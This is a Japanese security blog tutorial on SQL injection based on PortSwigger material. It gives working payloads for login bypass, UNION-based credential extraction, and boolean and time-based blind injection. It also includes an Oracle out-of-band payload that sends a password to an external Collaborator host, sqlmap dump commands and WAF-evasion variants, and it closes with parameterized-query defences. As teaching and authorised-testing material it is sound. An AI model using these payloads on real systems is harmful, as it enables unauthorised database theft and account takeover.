# SQLインジェクション攻撃の完全攻略【2026】UNION・ブラインド・時間ベース・sqlmap・WAF回避 — 公式ドキュメント忠実版

> SQLインジェクション（SQLi）の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。隠しデータの取得、認証ロジックの破壊、UNIONによる横展開、列数とデータ型の特定、ブラインドSQLi（ブール条件・時間ベース・OAST）、sqlmapの実践、WAF回避の基礎、そしてパラメータ化クエリによる根本対策までを、自分のラボ限定の実ペイロードで解説します。

- 公開日: 2026-06-28
- 著者: 友田 陽大
- タグ: セキュリティ, ホワイトハッカー, SQLインジェクション, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/blog/sql-injection-attack-techniques-union-blind-sqlmap-waf-bypass-guide
- カテゴリ: 実践Webハッキング技法
- 総合ガイド: https://tomodahinata.com/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## 要点

- SQLiの本質は『データが、クエリの構造に混入する』こと。`'`を一つ入れてエラーや挙動変化を観察するのが検出の第一歩。文字列・数値・ORDER BY・UNIONの各コンテキストで試す
- 見える攻撃：UNIONベース。①列数を `ORDER BY n` か `UNION SELECT NULL,...` で特定 ②文字列を表示できる列を見つける ③`information_schema` でテーブル/列名を列挙 ④資格情報を抜く——という手順で横展開する
- 見えない攻撃：ブラインドSQLi。レスポンスに結果が出なくても、ブール条件（真偽で表示が変わる）・時間ベース（`SLEEP`/`pg_sleep`で遅延）・OAST（外部通信で漏出）で1ビットずつ情報を引き出す
- 自動化はsqlmap。検出から列挙・データ抽出まで自動化できるが、必ず自分の資産・許可スコープのみ。`--risk`/`--level`/`--technique`で挙動を制御し、無許可の対象には絶対に向けない
- 根本対策はパラメータ化クエリ（プレースホルダ）一択。文字列連結を消し、入力を常に『データ』として扱う。テーブル名やORDER BY列は許可リストで。WAFは多層防御の一枚で、設計の代わりにはならない

---

[OWASP Top 10:2025](https://owasp.org/Top10/2025/) でインジェクションが常に上位を占め続ける理由はシンプルです。**刺さると影響が壊滅的**だから。SQLインジェクション（SQLi）は、データベース全体の窃取から認証バイパス、時にサーバー乗っ取りまで至ります。本記事は、その攻撃手法を [PortSwigger Web Security Academy](https://portswigger.net/web-security/sql-injection) に忠実に、しかし手を動かせる粒度で解説します。

> **このクラスタの絶対の前提:** 以下の全ペイロードは、[合法ラボ](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide)（localhost限定のOWASP Juice Shop / DVWA）または書面で許可されたスコープでのみ実行します。**無許可の対象への送信は、それ自体が攻撃**であり不正アクセス禁止法等に直結します（→ [法律ガイド](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)）。攻撃クラス全体の地図は [ピラー](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide) を参照。

---

## 1. SQLiの本質 — データがクエリ構造に混入する

アプリは、ユーザー入力を文字列連結でSQLに埋め込むと脆弱になります。

```text
# 脆弱な組み立て（概念）
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"
```

ここで `input` に `Gifts` ではなく `'` を入れると、クエリ構文が壊れます。

```sql
SELECT * FROM products WHERE category = ''' AND released = 1   -- 構文エラー
```

**この「エラーや挙動変化」こそが検出の第一歩**です。PortSwigger が示す通り、`'`・`--`（コメント）・`OR 1=1`・時間遅延・OASTペイロードを順に試して、入力がクエリに混入していないかを探ります。

---

## 2. 認証ロジックの破壊（subverting application logic）

最も古典的かつ強烈なのが、ログインの認証バイパスです。ログインクエリが概念的にこうだとします。

```sql
SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'
```

`username` に **`administrator'--`** を入れると、以降がコメントアウトされ、パスワード照合が消えます。

```sql
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

**パスワードを知らなくても administrator としてログイン**できてしまう。これが「アプリのロジックを覆す」典型です。

---

## 3. UNIONベース攻撃 — 他テーブルへ横展開する

結果がレスポンスに表示される場合、`UNION SELECT` で**別テーブルのデータを相乗り**させられます。PortSwigger の手順は機械的です。

### 3.1 列数を特定する

UNIONは**前後のクエリで列数が一致**しないと失敗します。まず列数を割り出します。

```sql
-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- ここでエラー → 列数は 2

-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--   -- 成功 → 列数は 2
```

### 3.2 文字列を表示できる列を見つける

抜いたデータを画面に出すには、**文字列を受けられる列**が要ります。

```sql
' UNION SELECT 'a',NULL--   -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'--   -- 2列目で試す
```

### 3.3 DBのメタデータを列挙し、資格情報を抜く

多くのDBは `information_schema` でスキーマを自己記述します。

```sql
-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く（複数列を連結して1列に収める）
' UNION SELECT username || '~' || password, NULL FROM users--
```

> **DBごとの方言に注意:** 文字列連結は Oracle/PostgreSQL が `||`、MySQL は `CONCAT()`。コメントは `--`（後ろにスペース）か `#`（MySQL）。バージョン取得は `SELECT @@version`（MySQL/MSSQL）／`SELECT version()`（PostgreSQL）／`SELECT banner FROM v$version`（Oracle）。**まず「examining the database」でDB種別を確定**させると、以降が一気に楽になります。

---

## 4. ブラインドSQLi — 結果が見えなくても抜く

結果がレスポンスに出ない（が、挙動は変わる）場合が**ブラインドSQLi**です。PortSwigger は4系統を挙げます。

### 4.1 ブール条件ベース

「条件が真かどうか」で**表示が変わる**ことを利用し、1ビットずつ推測します。

```sql
-- パスワード1文字目が 's' か？を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定
```

### 4.2 時間ベース（time-delay）

表示すら変わらないなら、**応答時間**を信号にします。

```sql
-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

応答が10秒遅れたら条件は真。**「遅い＝1、速い＝0」**で情報を引き出します。

### 4.3 OAST（アウトオブバンド）

DBに**外部への通信**を起こさせ、その着信自体を信号にします（[Burp Collaborator](/blog/burp-suite-getting-started-proxy-repeater-intruder-web-security-testing-guide) が定番）。ファイアウォールでHTTP応答が見えない環境でも、DNS/HTTPの着信は抜けることが多く、強力です。

```sql
-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる（概念）
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--
```

---

## 5. sqlmap — 自動化（許可スコープ限定）

手作業の手筋を理解したら、`sqlmap` で自動化します。**ただし対象は自分の資産・許可スコープのみ。**

```bash
# Burpで保存したリクエストを食わせる（Cookie/認証込みで再現性が高い）
sqlmap -r request.txt --batch \
  --level=2 --risk=2 \           # 試すペイロードの深さ/危険度（上げるほど侵襲的）
  --technique=BEUST \            # B:ブール E:エラー U:UNION S:スタック T:時間
  --dbs                          # まずDB一覧を列挙

# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump
```

> `--risk`/`--level` を上げると検出力は上がりますが、**侵襲性も上がります**（データ更新系を試す等）。本番に近い許可スコープでは、依頼者と影響範囲を合意してから上げること。**自動化ツールほど、向ける先の正しさが致命的**になります。

---

## 6. WAF回避の基礎 — “設計の代わりにならない”ことの証明

WAF（Web Application Firewall）はパターンで既知ペイロードを弾きますが、**等価変換で回避され得ます**。これは「WAFは多層防御の一枚であって、根本対策ではない」ことの裏返しです。

```sql
-- 代表的な等価変換（教育目的・自分のlab限定）
'/**/UNION/**/SELECT/**/...   -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ...   -- MySQLのバージョン付きコメント
%55NION %53ELECT              -- URLエンコード/大小混在
' UNiOn sElEcT ...            -- 大文字小文字の混在
```

**だからこそ、WAFに頼り切るのではなく、後述のパラメータ化クエリでSQLiを「そもそも成立させない」ことが本筋**です。

---

## 7. 【守る側】根本対策 — パラメータ化クエリ一択

ここからが、診断の価値を最大化するパートです。**攻撃を理解した今、設計でどう潰すか。**

PortSwigger の結論は明快で、**パラメータ化クエリ（プレースホルダ）**です。入力を「コード」ではなく常に「データ」として扱わせます。

```ts
// ❌ 脆弱：文字列連結（入力がクエリ構造に混入する）
const rows = await db.query(
  `SELECT * FROM products WHERE category = '${category}'`
);

// ✅ 安全：プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
  "SELECT * FROM products WHERE category = $1",
  [category]
);
```

ただし、**プレースホルダで守れないコンテキスト**があります。テーブル名・列名・`ORDER BY` 句は値ではなく識別子なので束縛できません。**ここは許可リスト**で守ります。

```ts
// ORDER BY の列名はバインドできない → 許可リストで検証（DRYな単一の真実源）
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;

function sortColumn(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
  return col;
}
```

- **ORM/クエリビルダ**（Prisma・Drizzle・Kysely）は既定でパラメータ化するため、**生SQLの文字列連結を避ける**だけで大半を防げます。ただし `$queryRawUnsafe` 等のエスケープハッチは要注意。
- **Supabase/PostgREST + RPC** に特化した予防策は [Supabase × PostgreSQL のSQLi対策](/blog/supabase-postgres-sql-injection-rpc-prevention-guide) で詳説しています。
- **多層防御**：最小権限のDBユーザー（参照系は読み取り専用ロール）、WAF、エラーメッセージの抑制を重ねる。

---

## 8. まとめ

- **検出**：`'` を入れてエラー/挙動変化を観察。文字列・数値・ORDER BY・UNIONの各コンテキストで。
- **UNION**：列数特定 → 文字列列の発見 → `information_schema` 列挙 → 資格情報抽出。
- **ブラインド**：ブール条件・時間ベース（`SLEEP`/`pg_sleep`）・OASTで1ビットずつ。
- **sqlmap**：自動化は強力。だが対象は自分の資産・許可スコープのみ。
- **根本対策**：パラメータ化クエリ一択。識別子は許可リスト。WAFは一枚であり設計の代替にあらず。

次は、クライアントサイドの王者 [XSS攻撃の完全攻略](/blog/xss-attack-techniques-reflected-stored-dom-csp-bypass-guide) へ。注入クラスの理解が、そのまま防御設計の解像度を上げます。

---

### 参考（公式一次情報）

- [PortSwigger: SQL injection](https://portswigger.net/web-security/sql-injection) ／ [UNION attacks](https://portswigger.net/web-security/sql-injection/union-attacks) ／ [Blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) ／ [SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
- [OWASP: SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) ／ [OWASP Top 10:2025](https://owasp.org/Top10/2025/)
- [sqlmap 公式](https://sqlmap.org/)
